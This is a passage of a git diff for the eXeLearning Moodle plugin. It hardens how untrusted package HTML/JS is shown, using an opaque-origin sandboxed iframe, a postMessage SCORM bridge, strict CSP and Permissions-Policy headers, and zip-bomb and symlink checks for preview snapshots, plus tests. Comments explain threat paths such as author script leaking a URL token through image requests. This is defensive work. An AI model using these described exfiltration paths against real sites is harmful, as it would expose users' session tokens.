: this setting is shown inside the - * admin settings page, which already wraps every setting in one . A nested - * is invalid HTML and leaks its own action/sesskey hidden fields into the - * outer form's submission, so the page's "Save changes" posts action=disablebuiltin - * instead of action=save-settings and silently saves nothing. styles.php accepts the - * toggle over GET (optional_param + confirm_sesskey), the same pattern Moodle core - * uses to enable/disable plugins. - * - * @param \moodle_url $baseurl - * @param string $action - * @param string $id - * @param string $label - * @param string $btnclass - * @return string - */ - private function action_link( - \moodle_url $baseurl, - string $action, - string $id, - string $label, - string $btnclass - ): string { - $url = new \moodle_url($baseurl, ['action' => $action, 'id' => $id, 'sesskey' => sesskey()]); - return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']); - } } diff --git a/classes/admin/admin_setting_stylesuploaded.php b/classes/admin/admin_setting_stylesuploaded.php index e98f495..12aa068 100644 --- a/classes/admin/admin_setting_stylesuploaded.php +++ b/classes/admin/admin_setting_stylesuploaded.php @@ -110,16 +110,18 @@ public function output_html($data, $query = '') { : get_string('stylesenable', 'mod_exelearning'); $toggleaction = $enabled ? 'disable' : 'enable'; - $togglelink = $this->action_link( + $togglelink = styles_action_button::link( $baseurl, $toggleaction, + 'slug', $slug, $togglelabel, $enabled ? 'btn-secondary' : 'btn-success' ); - $deletelink = $this->action_link( + $deletelink = styles_action_button::link( $baseurl, 'delete', + 'slug', $slug, get_string('stylesdelete', 'mod_exelearning'), 'btn-danger' @@ -152,33 +154,4 @@ public function output_html($data, $query = '') { $query ); } - - /** - * Build a single action as a sesskey-protected link styled as a button. - * - * Rendered as a link rather than an inline : this setting appears inside the - * admin settings page, which already wraps every setting in one . A nested - * is invalid HTML and leaks its action/sesskey hidden fields into the outer - * form's submission, so the page's "Save changes" posts the nested action (e.g. - * delete) instead of action=save-settings and silently saves nothing. styles.php - * accepts these actions over GET (optional_param + confirm_sesskey); the destructive - * delete is confirmed server-side there, so a prefetch cannot destroy data. - * - * @param \moodle_url $baseurl - * @param string $action - * @param string $slug - * @param string $label - * @param string $btnclass - * @return string - */ - private function action_link( - \moodle_url $baseurl, - string $action, - string $slug, - string $label, - string $btnclass - ): string { - $url = new \moodle_url($baseurl, ['action' => $action, 'slug' => $slug, 'sesskey' => sesskey()]); - return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']); - } } diff --git a/classes/admin/styles_action_button.php b/classes/admin/styles_action_button.php new file mode 100644 index 0000000..5a6c5a3 --- /dev/null +++ b/classes/admin/styles_action_button.php @@ -0,0 +1,63 @@ +. + +/** + * Shared renderer for the styles-management admin action buttons. + * + * @package mod_exelearning + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + */ + +namespace mod_exelearning\admin; + +/** + * Builds a styles-management action (enable/disable/delete) as a sesskey-protected link + * styled as a button. + * + * Shared by admin_setting_stylesbuiltins and admin_setting_stylesuploaded, which render + * the action as a link rather than an inline : these settings appear inside the + * admin settings page, which already wraps every setting in one . A nested + * is invalid HTML and leaks its action/sesskey hidden fields into the outer form's + * submission, so the page's "Save changes" posts the nested action (e.g. delete) instead + * of action=save-settings and silently saves nothing. styles.php accepts these actions + * over GET (optional_param + confirm_sesskey); the destructive delete is confirmed + * server-side there, so a prefetch cannot destroy data. + */ +final class styles_action_button { + /** + * Build a single action as a sesskey-protected link styled as a button. + * + * @param \moodle_url $baseurl The styles.php base URL. + * @param string $action The action (enable/disable/enablebuiltin/disablebuiltin/delete). + * @param string $idkey The query parameter name carrying the identifier ('id' or 'slug'). + * @param string $idval The identifier value. + * @param string $label The button label. + * @param string $btnclass The Bootstrap button modifier class (e.g. 'btn-danger'). + * @return string + */ + public static function link( + \moodle_url $baseurl, + string $action, + string $idkey, + string $idval, + string $label, + string $btnclass + ): string { + $url = new \moodle_url($baseurl, ['action' => $action, $idkey => $idval, 'sesskey' => sesskey()]); + return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']); + } +} diff --git a/classes/local/package_manager.php b/classes/local/package_manager.php index 1639a4b..ad78fd4 100644 --- a/classes/local/package_manager.php +++ b/classes/local/package_manager.php @@ -240,25 +240,48 @@ public static function extract_stored(int $contextid, int $revision): void { 1 ); - // 5) If the package (web export) does not include libs/SCORM_API_wrapper.js, - // inject it from the plugin's assets/ directory. eXeLearning v4 only bundles - // this wrapper in the SCORM export; without it, gradable iDevices display - // "this page is not part of a SCORM package". - foreach (['SCORM_API_wrapper.js', 'SCOFunctions.js'] as $shimname) { + // 5) Ensure the SCORM client assets live under libs/ of the extracted package. + // The vendored pipwerks wrapper + SCOFunctions are copied only when the export + // does not already bundle them: eXeLearning v4 bundles them in the SCORM export + // but not in the web/elpx export, and without them gradable iDevices show "this + // page is not part of a SCORM package". A bundled copy is never overwritten + // ($refresh = false). The bridge client (scorm_tracker + exe_scorm_bridge) powers + // the secure opaque-origin iframe mode (DEC-80-01); it runs INSIDE the iframe so it + // must be served from the package, and being plugin-owned it is refreshed on every + // extract so a shim update reaches existing packages ($refresh = true). + $clientassets = [ + ['SCORM_API_wrapper.js', __DIR__ . '/../../assets/scorm/SCORM_API_wrapper.js', false], + ['SCOFunctions.js', __DIR__ . '/../../assets/scorm/SCOFunctions.js', false], + ['scorm_tracker.js', __DIR__ . '/../../js/scorm_tracker.js', true], + ['exe_scorm_bridge.js', __DIR__ . '/../../js/scorm_bridge_shim.js', true], + // External-media CHILD bundle, vendored from eXeLearning core and verified + // against its manifest (eXe ADR-2199-12). Promotes whitelisted/PDF iframes to the + // parent in secure mode and carries the media bridge the interactive-video + // iDevice drives; dormant until the parent host answers its handshake, so a + // package served without one is left exactly as authored (eXe ADR-2199-08). + // Plugin-owned, refreshed on every extract, so a re-vendor reaches existing + // packages. Keeps the historical filename: the injected \n"; - $tags = $marker . - "\n " . - "\n " . - $initscript; - $tagshtml = $marker . - "\n " . - "\n " . - $initscript; + $embedmarker = ''; // Iterate over all HTML files in the filearea. $files = $fs->get_area_files( @@ -84,14 +86,55 @@ public static function inject(int $contextid, int $revision): void { continue; } $html = $file->get_content(); - if ($html === '' || strpos($html, $marker) !== false) { + if ($html === '') { continue; } + // Relative prefix to the package's libs/ dir: root pages use 'libs/', nested + // html/.html pages climb one level with '../libs/'. $path = $file->get_filepath(); - $payload = ($path === '/') ? $tags : $tagshtml; - // Insert just before (case-insensitive). - $newhtml = preg_replace('~~i', $payload . '', $html, 1); - if ($newhtml === null || $newhtml === $html) { + $libs = ($path === '/') ? 'libs/' : '../libs/'; + $newhtml = $html; + $changed = false; + + // Script payloads, built once per file from $libs. The bridge client + // (scorm_tracker.js before exe_scorm_bridge.js: the shim calls + // window.exeScormTracker.createScormApi) and the external-embed shim both go + // at the TOP of ; the pipwerks SCORM wrapper + init kick go just before + // . No host list is baked for the embed shim: it promotes any candidate + // and the parent relay is the authoritative gate (open vs strict, DEC-80-03). + $bridge = $bridgemarker . + "\n " . + "\n \n"; + $embed = $embedmarker . + "\n \n"; + $scorm = $marker . + "\n " . + "\n " . + $initscript; + + // Idempotent insertions, applied in order so each one matches against + // the HTML already modified by the previous (e.g. the embed insert sees the + // bridge-modified ). Each fires at most once, guarded by its own marker. + // Entry = [marker, payload, anchor regex, top?]: top appends the payload AFTER + // the matched tag, otherwise it is prepended BEFORE the matched . + $inserts = [ + [$bridgemarker, $bridge, '~]*>~i', true], + [$embedmarker, $embed, '~]*>~i', true], + [$marker, $scorm, '~~i', false], + ]; + foreach ($inserts as [$mk, $payload, $regex, $top]) { + if (strpos($newhtml, $mk) !== false) { + continue; + } + $replacement = $top ? '$0' . $payload : $payload . '$0'; + $replaced = preg_replace($regex, $replacement, $newhtml, 1); + if ($replaced !== null && $replaced !== $newhtml) { + $newhtml = $replaced; + $changed = true; + } + } + + if (!$changed) { continue; } // Replace content in the filearea: delete and recreate. diff --git a/classes/local/ui/player_iframe.php b/classes/local/ui/player_iframe.php new file mode 100644 index 0000000..ac6c896 --- /dev/null +++ b/classes/local/ui/player_iframe.php @@ -0,0 +1,294 @@ +. + +/** + * Package iframe security mode and sandbox policy (DEC-80-01). + * + * @package mod_exelearning + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + */ + +namespace mod_exelearning\local\ui; + +/** + * Centralises the package iframe sandbox policy, CSP and headers (DEC-80-01). + * + * The arbitrary author HTML/JS of an `.elpx` package is always embedded in view.php in a + * sandboxed, opaque-origin iframe: the iframe drops allow-same-origin, so the package runs + * in an opaque origin and cannot read or modify Moodle's DOM, cookies or session. SCORM + * scoring is relayed to the parent over a validated postMessage bridge + * (js/scorm_bridge_shim.js in the iframe, js/scorm_bridge_relay.js in the parent), and the + * parent keeps the sesskey and performs the track.php request. The historical same-origin + * "legacy" mode is no longer a production setting; it survives only as a dev-only escape hatch + * (the EXELEARNING_UNSAFE_LEGACY_IFRAME constant) for environments whose service worker cannot + * serve an opaque subframe (the php-wasm Moodle Playground), and defaults off. + * + * Centralised here so the policy is unit-testable without rendering view.php. + * See research ADR DEC-80-01 (advances the Tier 2 roadmap of DEC-0-16). + */ +final class player_iframe { + /** @var string Secure mode: opaque-origin iframe + postMessage SCORM bridge (the production mode). */ + public const MODE_SECURE = 'secure'; + + /** + * Legacy mode: same-origin iframe. NOT a production mode — reachable only through the dev-only + * EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, for environments whose service worker cannot + * serve an opaque subframe (the php-wasm Moodle Playground). + * + * @var string + */ + public const MODE_LEGACY = 'legacy'; + + /** @var string Open embeds: promote any cross-origin https iframe (DEC-80-03). */ + public const EMBED_OPEN = 'open'; + + /** @var string Strict embeds: only the maintained host allowlist (the default). */ + public const EMBED_STRICT = 'strict'; + + /** @var string Strict CSP profile (default): no bare https: token-exfiltration channels. */ + public const CSP_STRICT = 'strict'; + + /** @var string Compatible CSP profile: allows https: img/media/script for external assets. */ + public const CSP_COMPATIBLE = 'compatible'; + + /** + * Default host whitelist for external video embeds promoted to the parent page. + * + * In secure mode the package is opaque, so cross-origin players (YouTube/Vimeo) + * load blank. Iframes whose src host is on this list are replaced by a placeholder + * in the package (js/exe_embed_shim.js) and rendered as a real player by the parent + * (js/exe_embed_relay.js). PDFs are handled separately (by .pdf extension) and need + * no host entry. + * + * @var string[] + */ + public const DEFAULT_EMBED_HOSTS = [ + 'www.youtube.com', + 'youtube.com', + 'www.youtube-nocookie.com', + 'youtube-nocookie.com', + 'player.vimeo.com', + 'vimeo.com', + 'www.dailymotion.com', + 'dailymotion.com', + 'geo.dailymotion.com', + 'mediateca.educa.madrid.org', + ]; + + /** + * The package iframe mode. Secure (opaque origin) in production; the same-origin legacy mode is + * reachable only through the dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, which + * defaults off and is never exposed as a Moodle setting. + * + * @return string self::MODE_SECURE, or self::MODE_LEGACY when the escape hatch is enabled. + */ + public static function resolve_mode(): string { + return self::is_unsafe_legacy() ? self::MODE_LEGACY : self::MODE_SECURE; + } + + /** + * Whether the dev-only same-origin escape hatch is enabled. Never a Moodle setting: it is the + * EXELEARNING_UNSAFE_LEGACY_IFRAME PHP constant (defined in config.php) or the env var of the + * same name, intended only for environments whose service worker cannot serve an opaque + * subframe (the php-wasm Moodle Playground). Defaults off. + * + * @return bool True when the constant or env var is set and truthy. + */ + public static function is_unsafe_legacy(): bool { + if (defined('EXELEARNING_UNSAFE_LEGACY_IFRAME')) { + return (bool) constant('EXELEARNING_UNSAFE_LEGACY_IFRAME'); + } + $env = getenv('EXELEARNING_UNSAFE_LEGACY_IFRAME'); + return $env !== false && filter_var($env, FILTER_VALIDATE_BOOLEAN); + } + + /** + * Whether the configured mode isolates the package (opaque origin + bridge). + * + * @return bool True in secure mode. + */ + public static function is_secure(): bool { + return self::resolve_mode() === self::MODE_SECURE; + } + + /** + * Sandbox token list for the (always opaque) package iframe. + * + * Deliberately OMITS allow-same-origin (forcing an opaque origin so the package cannot + * reach Moodle's DOM/cookies/session), allow-top-navigation (a package must never change + * the parent URL), allow-modals (alert/confirm/prompt UX traps) and + * allow-popups-to-escape-sandbox (an escaped popup would reopen at Moodle's real origin + * without the sandbox). allow-scripts/allow-popups/allow-forms are kept because + * eXeLearning v4 iDevices need jQuery + scripts, popups (interactive-video, hidden-image) + * and forms (quick-questions, form, scrambled-list). See ADR DEC-80-01 / DEC-0-16 / AN-008. + * + * @return string Space-separated sandbox token list. + */ + public static function sandbox_tokens(): string { + if (!self::is_secure()) { + // Dev-only escape hatch: same-origin so a service worker that only serves same-origin + // documents (the php-wasm Playground) can load the package CSS/JS. Never used in production. + return 'allow-same-origin allow-scripts allow-popups allow-forms'; + } + return 'allow-scripts allow-popups allow-forms'; + } + + /** + * Resolve the external-embed policy (DEC-80-03). Default 'strict' restricts promotion to + * the maintained provider allowlist with canonical URL reconstruction; 'open' is an + * explicit opt-in that promotes any cross-origin https iframe (the player is sandboxed + + * cross-origin, so SOP isolates it from Moodle). Any unset or unrecognised value fails + * safe to 'strict' (toward the more restrictive policy). + * + * @return string self::EMBED_OPEN or self::EMBED_STRICT. + */ + public static function embed_mode(): string { + $value = get_config('mod_exelearning', 'embedmode'); + return ($value === self::EMBED_OPEN) ? self::EMBED_OPEN : self::EMBED_STRICT; + } + + /** + * Resolve the content CSP profile. 'strict' (default) blocks bare https: exfiltration + * channels (the per-user file token lives in the URL, so open img/media/script would let + * author JS leak it). 'compatible' re-opens img/media/script to https: for content that + * loads external author assets (third-party images, a MathJax CDN) — documented weaker. + * Any unset or unrecognised value fails safe to 'strict'. + * + * @return string self::CSP_STRICT or self::CSP_COMPATIBLE. + */ + public static function csp_profile(): string { + $value = get_config('mod_exelearning', 'cspprofile'); + return ($value === self::CSP_COMPATIBLE) ? self::CSP_COMPATIBLE : self::CSP_STRICT; + } + + /** + * Normalized host whitelist for external video embeds (lowercase, de-duplicated). + * Only consulted by the relay in 'strict' mode. + * + * @return string[] + */ + public static function embed_whitelist(): array { + $clean = []; + foreach (self::DEFAULT_EMBED_HOSTS as $host) { + $host = strtolower(trim((string) $host)); + if ($host !== '') { + $clean[$host] = true; + } + } + return array_keys($clean); + } + + /** + * Permissions-Policy header value for the embedded package (DEC-80-02). + * + * Denies hardware/sensor features the package never needs. `fullscreen` is + * intentionally NOT denied: the iframe grants it via its allow= attribute and + * iDevices use it. Emitted by exelearning_pluginfile() in secure mode. + * + * @return string The Permissions-Policy header value. + */ + public static function permissions_policy(): string { + return 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), serial=(), ' + . 'bluetooth=(), hid=(), magnetometer=(), accelerometer=(), gyroscope=(), ' + . 'midi=(), display-capture=()'; + } + + /** + * Content-Security-Policy header value for the embedded package (DEC-80-02). + * + * Strict (default): object-src/base-uri closed, frame-ancestors 'self', connect-src + * limited to this site, and NO bare https: in script/img/media-src so the per-user file + * token in the URL cannot be exfiltrated (e.g. via new Image().src). frame-src is limited + * to the maintained providers. Compatible re-opens img/media/script (and frame-src) to + * https: for content with external author images or a MathJax CDN — documented weaker. + * The CSP-level `sandbox` keeps the document opaque even if the token URL is opened + * outside the iframe (a new tab), mirroring the iframe sandbox tokens. + * + * @param string $siteorigin The scheme://host[:port] origin of this Moodle site. + * @param string|null $profile self::CSP_STRICT/CSP_COMPATIBLE, or null to use csp_profile(). + * @return string The Content-Security-Policy header value. + */ + public static function content_security_policy(string $siteorigin, ?string $profile = null): string { + $profile = ($profile === self::CSP_COMPATIBLE || $profile === self::CSP_STRICT) + ? $profile + : self::csp_profile(); + if ($profile === self::CSP_COMPATIBLE) { + $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval' https:; "; + $imgsrc = "img-src 'self' $siteorigin data: blob: https:; "; + $mediasrc = "media-src 'self' $siteorigin data: blob: https:; "; + $framesrc = "frame-src 'self' $siteorigin https:; "; + } else { + $providers = 'https://www.youtube-nocookie.com https://player.vimeo.com ' + . 'https://www.dailymotion.com https://mediateca.educa.madrid.org'; + $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval'; "; + $imgsrc = "img-src 'self' $siteorigin data: blob:; "; + $mediasrc = "media-src 'self' $siteorigin data: blob:; "; + $framesrc = "frame-src 'self' $siteorigin $providers; "; + } + $policy = "default-src 'self' $siteorigin; " + . $scriptsrc + . "style-src 'self' $siteorigin 'unsafe-inline'; " + . $imgsrc + . $mediasrc + . "font-src 'self' $siteorigin data:; " + . "connect-src 'self' $siteorigin; " + . $framesrc + . "object-src 'none'; base-uri 'none'; form-action 'self' $siteorigin; " + . "frame-ancestors 'self'"; + // The CSP-level `sandbox` keeps the document opaque even if its URL is opened outside the + // iframe. Omit it under the dev-only legacy escape hatch (the php-wasm Playground), which + // needs same-origin rendering; the iframe sandbox attribute is relaxed in lockstep. + if (self::is_secure()) { + $policy .= "; sandbox allow-scripts allow-popups allow-forms"; + } + return $policy; + } + + /** + * Defense-in-depth response headers for a served package file (DEC-80-02). + * + * In secure mode EVERY served file gets Referrer-Policy: no-referrer and + * X-Content-Type-Options: nosniff. The per-user file token lives in the URL path, so + * even a CSS/JS subresource that pulls a cross-origin image must not leak it via the + * Referer header; and nosniff forces each file to be interpreted by its declared + * Content-Type, so a package cannot smuggle executable HTML behind, e.g., a .pdf path + * (the promoted PDF player is unsandboxed). The document-level Content-Security-Policy + * and Permissions-Policy are added only for an HTML document (subresources ignore + * them). The caller (exelearning_pluginfile) is just a header-emitting loop, since the + * package always renders opaque. Keeping the decision and the values here makes them + * unit-testable (the pluginfile callback that emits them exits via send_stored_file + * and cannot be unit-tested directly). + * + * @param string $filename The served file name (only *.html(?) get CSP/Permissions-Policy). + * @param string $wwwroot This Moodle site's $CFG->wwwroot (origin is derived from it). + * @return array Map of header name => value (empty when no headers apply). + */ + public static function content_headers(string $filename, string $wwwroot): array { + // Apply to every served package file (the token rides in the URL for all of them). + $headers = [ + 'Referrer-Policy' => 'no-referrer', + 'X-Content-Type-Options' => 'nosniff', + ]; + // CSP + Permissions-Policy are document-level and only meaningful on an HTML page. + if (preg_match('~\.html?$~i', $filename)) { + $siteorigin = preg_replace('~^(https?://[^/]+).*~i', '$1', $wwwroot); + $headers['Permissions-Policy'] = self::permissions_policy(); + $headers['Content-Security-Policy'] = self::content_security_policy($siteorigin); + } + return $headers; + } +} diff --git a/classes/task/preview_session_cleanup.php b/classes/task/preview_session_cleanup.php new file mode 100644 index 0000000..0e562e8 --- /dev/null +++ b/classes/task/preview_session_cleanup.php @@ -0,0 +1,51 @@ +. + +namespace mod_exelearning\task; + +use mod_exelearning\local\preview\snapshot_store; + +/** + * Scheduled task: reap idle-expired editor preview snapshots. + * + * The snapshot store keeps ephemeral, file-backed trees under the Moodle temp + * directory. They are also swept opportunistically on every replace, but a + * snapshot that is created and then never touched again is only reclaimed here. + * + * @package mod_exelearning + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + */ +class preview_session_cleanup extends \core\task\scheduled_task { + /** + * The human-readable task name shown in the scheduled tasks admin report. + * + * @return string + */ + public function get_name(): string { + return get_string('previewsessioncleanup', 'mod_exelearning'); + } + + /** + * Sweep every idle-expired preview session. + */ + public function execute(): void { + $swept = snapshot_store::sweep_expired(); + if ($swept > 0) { + mtrace('mod_exelearning: swept ' . $swept . ' expired preview session(s).'); + } + } +} diff --git a/db/tasks.php b/db/tasks.php new file mode 100644 index 0000000..5f7d428 --- /dev/null +++ b/db/tasks.php @@ -0,0 +1,37 @@ +. + +/** + * mod_exelearning scheduled task definitions. + * + * @package mod_exelearning + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + */ + +defined('MOODLE_INTERNAL') || die(); + +$tasks = [ + [ + 'classname' => 'mod_exelearning\task\preview_session_cleanup', + 'blocking' => 0, + 'minute' => '*/15', + 'hour' => '*', + 'day' => '*', + 'month' => '*', + 'dayofweek' => '*', + ], +]; diff --git a/docs/preview-serving-contract.md b/docs/preview-serving-contract.md new file mode 100644 index 0000000..37c51c5 --- /dev/null +++ b/docs/preview-serving-contract.md @@ -0,0 +1,147 @@ +# Opaque editor preview — Moodle adapter + +The embedded editor renders its preview **filtered** by default: sanitised, with +no author JavaScript running. When the author opts in to running their own code, +the editor needs somewhere to put the real project bytes that is **not** the +Moodle page — a browser-enforced **opaque origin** the content cannot reach out +of. + +This plugin is that somewhere. The editor POSTs the whole project as one ZIP and +gets back an unguessable capability id; the plugin serves that tree from an +authless URL under a sandbox CSP. There is no `srcdoc` or Service-Worker fallback +in the embed: when this route is unavailable the editor **fails closed** with a +clear error rather than silently downgrading the isolation boundary. + +## The two endpoints + +| | Request | Result | +|---|---|---| +| Management | `POST editor/preview_session.php?cmid&sesskey` | multipart `snapshot=`, optional `previewId` → `{previewId}` | +| Management | `DELETE editor/preview_session.php?cmid&sesskey&previewId` | drops the snapshot | +| Serving | `GET preview.php/{previewId}/{path}` | the snapshot, authless | + +Management is gated by `require_login` + `require_sesskey` + +`moodle/course:manageactivities` on the activity context, and every snapshot is +bound to both the authoring user and the `cmid`. Replacing a capability owned by +someone else, or bound to another activity, is refused — the id alone is not +enough to write. + +Serving deliberately has **no** authentication: `NO_MOODLE_COOKIES` is set, so an +auth cookie cannot influence the response. The unguessable id plus the idle TTL +is the whole credential. That is what makes the origin opaque — an iframe pointed +at this URL carries no Moodle session, so author code inside it has nothing to +steal. + +## Why one whole snapshot + +An earlier revision implemented a layered protocol (contract v2): immutable asset +keys uploaded once, incremental document revisions, and a manifest of fixed +installation resources resolved out of the editor distribution — all to avoid +re-uploading unchanged bytes. The editor no longer speaks it, and the machinery +cost far more than the bytes it saved. One ZIP per refresh replaced the store, +the session value object and roughly 400 lines of protocol code. + +## Storage + + $CFG->tempdir/mod_exelearning/preview-snapshots/{previewId}/ + meta.json ownerUserId, cmid + access empty marker; its mtime is the idle-TTL clock + content/ the extracted snapshot + +Content sits in its own subdirectory so no author path can collide with the +store's own files — there are no reserved names to police. A write is staged +beside the live tree and swapped in, so a reader sees the previous snapshot or +the new one, never a half-written one. + +## What an archive must survive before extraction + +`zip_inspector` vets every entry *before* a byte is written, because `extractTo()` +is all or nothing and a limit noticed halfway would leave a partial tree: + +- entry count and total **declared uncompressed** size — a zip bomb inflates past + the second, not the first; +- `serving::normalize_content_path()`, the same rule the serving side applies, so + an entry that could not be requested back can never be stored; +- Unix symlinks, stored as a tiny entry whose contents are a path, which would + otherwise pass every size and name check; +- an `index.html` must be present, or it is not a preview. + +Limits default to 1 GB / 10 000 entries and are configurable. A non-positive +value falls back to the default: the guard cannot be switched off. + +## Required response headers (on every response, including 404s) + +``` +X-Content-Type-Options: nosniff +Referrer-Policy: no-referrer +Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=() +Access-Control-Allow-Origin: * (authless + cookieless; NEVER with credentials) +Content-Type: +``` + +`Cache-Control` is tiered: a scriptable document is `no-store` (it is rewritten on +every refresh), everything else is `no-cache` with an `ETag` and Range support — +which is what makes a video inside the snapshot seekable. + +On **every scriptable document type** — `text/html`, **`image/svg+xml`**, +`application/xml`, `text/xml`, `application/xhtml+xml` — additionally emit the +sandbox-first CSP **verbatim**: + +``` +Content-Security-Policy: + sandbox allow-scripts allow-popups allow-forms; default-src 'self'; + script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; + img-src 'self' data: blob: https:; media-src 'self' data: blob: https:; + font-src 'self' data:; connect-src 'self'; + frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; + child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; + object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'self'; +``` + +Not just HTML: an author-supplied SVG runs its inline `` + ` + + + diff --git a/tests/e2e/embed/content.html b/tests/e2e/embed/content.html new file mode 100644 index 0000000..26218b5 --- /dev/null +++ b/tests/e2e/embed/content.html @@ -0,0 +1,15 @@ + + + + + + + + + + diff --git a/tests/e2e/embed/exe_media_bridge.js b/tests/e2e/embed/exe_media_bridge.js new file mode 100644 index 0000000..75d6eda --- /dev/null +++ b/tests/e2e/embed/exe_media_bridge.js @@ -0,0 +1,596 @@ +/** + * exe_media_bridge — child-side runtime for external media in opaque-iframe mode. + * + * Shipped inside every exported eXeLearning package (classic + + + diff --git a/tests/e2e/embed/parent-nohost.html b/tests/e2e/embed/parent-nohost.html new file mode 100644 index 0000000..11d9a30 --- /dev/null +++ b/tests/e2e/embed/parent-nohost.html @@ -0,0 +1,17 @@ + + + + + +
+ +
+ diff --git a/tests/e2e/embed/parent.html b/tests/e2e/embed/parent.html new file mode 100644 index 0000000..f2b2884 --- /dev/null +++ b/tests/e2e/embed/parent.html @@ -0,0 +1,25 @@ + + + + + + +
+ +
+ + + + diff --git a/tests/e2e/media-host.spec.cjs b/tests/e2e/media-host.spec.cjs new file mode 100644 index 0000000..6632b52 --- /dev/null +++ b/tests/e2e/media-host.spec.cjs @@ -0,0 +1,48 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Cross-browser e2e for the interactive-video / video-quiz media bridge (DEC-110-01), run in +// Firefox via playwright-embed.config.cjs. A self-contained harness (no Moodle needed): the +// opaque-origin sandboxed content runs the real eXeLearning child runtime +// (exe_media_bridge.js) and calls window.exeMediaBridge.openMedia() — exactly what the +// interactive-video and quick-questions-video iDevices do in secure mode — and the trusted +// parent runs mod's own exe_media_host.js. The host completes the capability handshake +// (window identity + nonce + transferred MessagePort) and opens the provider player in a +// modal, controlled by RAW postMessage (enablejsapi=1), NOT the YouTube IFrame API. + +const { test, expect } = require('@playwright/test'); + +test('interactive-video bridge: child openMedia() opens a host modal with a raw youtube-nocookie player, no SDK (Firefox)', async ({ page }) => { + await page.goto('/tests/e2e/embed/parent-media.html'); + + // The host opened its accessible modal in response to the validated 'open' command. + const modal = page.locator('dialog.exe-media-modal'); + await expect.poll(() => modal.count(), { timeout: 15000 }).toBe(1); + + // The modal holds the real provider player, built by the raw-postMessage adapter from + // the canonical {provider, videoId} (the child never passed a URL). + const player = modal.locator('iframe'); + await expect.poll(() => player.count(), { timeout: 15000 }).toBeGreaterThan(0); + + const src = await player.first().getAttribute('src'); + // Canonical, privacy-friendly URL rebuilt by the host from the bare id. + expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ\b/); + // enablejsapi=1 => the host drives the player by RAW postMessage, not the IFrame API. + expect(src).toContain('enablejsapi=1'); + + // The trusted parent page never loaded the YouTube IFrame API or the Vimeo SDK. + expect(await page.evaluate(() => typeof window.YT)).toBe('undefined'); + expect(await page.evaluate(() => typeof window.Vimeo)).toBe('undefined'); +}); diff --git a/tests/js/embed_scorm_coexistence.test.js b/tests/js/embed_scorm_coexistence.test.js new file mode 100644 index 0000000..4a4ada5 --- /dev/null +++ b/tests/js/embed_scorm_coexistence.test.js @@ -0,0 +1,69 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Regression guard (DEC-80-03 + DEC-80-01): in secure mode the package now loads BOTH +// the SCORM bridge (scoring) AND the external-embed shim/relay. They must coexist — +// the embed feature must not break SCORM score saving. Side-effect imports in the +// same load order as production (tracker → scorm shim → scorm relay → embed shim → +// embed relay). globals (describe/it/expect) come from vitest.config.mjs. +import '../../js/scorm_tracker.js'; +import '../../js/scorm_bridge_shim.js'; +import '../../js/scorm_bridge_relay.js'; +import '../../js/exe_embed_shim.js'; +import '../../js/exe_embed_relay.js'; + +const scormRelay = window.exeScormBridge; +const embedRelay = window.exeEmbedRelay; + +describe('embed feature does not break the SCORM bridge', () => { + it('keeps every bridge + embed global defined and distinct (no clobbering)', () => { + expect(window.exeScormTracker).toBeTruthy(); + expect(window.exeScormBridgeShim).toBeTruthy(); + expect(window.exeScormBridge).toBeTruthy(); + expect(window.exeEmbedShim).toBeTruthy(); + expect(window.exeEmbedRelay).toBeTruthy(); + expect(window.exeScormBridge).not.toBe(window.exeEmbedRelay); + expect(window.exeScormBridgeShim).not.toBe(window.exeEmbedShim); + }); + + it('still accepts a SCORM track message (scoring path) with the embed modules loaded', () => { + const track = { + type: 'scorm', + action: 'track', + cmi: { 'cmi.core.score.raw': '80' }, + exelearningBridge: 'N1', + }; + expect(scormRelay.isTrackMessage(track)).toBe(true); + expect(scormRelay.acceptTrack(track, 'N1')).toBe(true); + // Wrong nonce is still rejected (the embed code did not weaken validation). + expect(scormRelay.acceptTrack(track, 'OTHER')).toBe(false); + }); + + it('the two bridges ignore each other’s message types', () => { + // The SCORM relay never treats an embed message as a score. + expect(scormRelay.isTrackMessage({ type: 'exe-embed', action: 'sync', embeds: [] })).toBe(false); + // The embed relay still validates a real embed URL (its own channel works). + // Open mode (default): any cross-origin https iframe is accepted verbatim. + const ok = 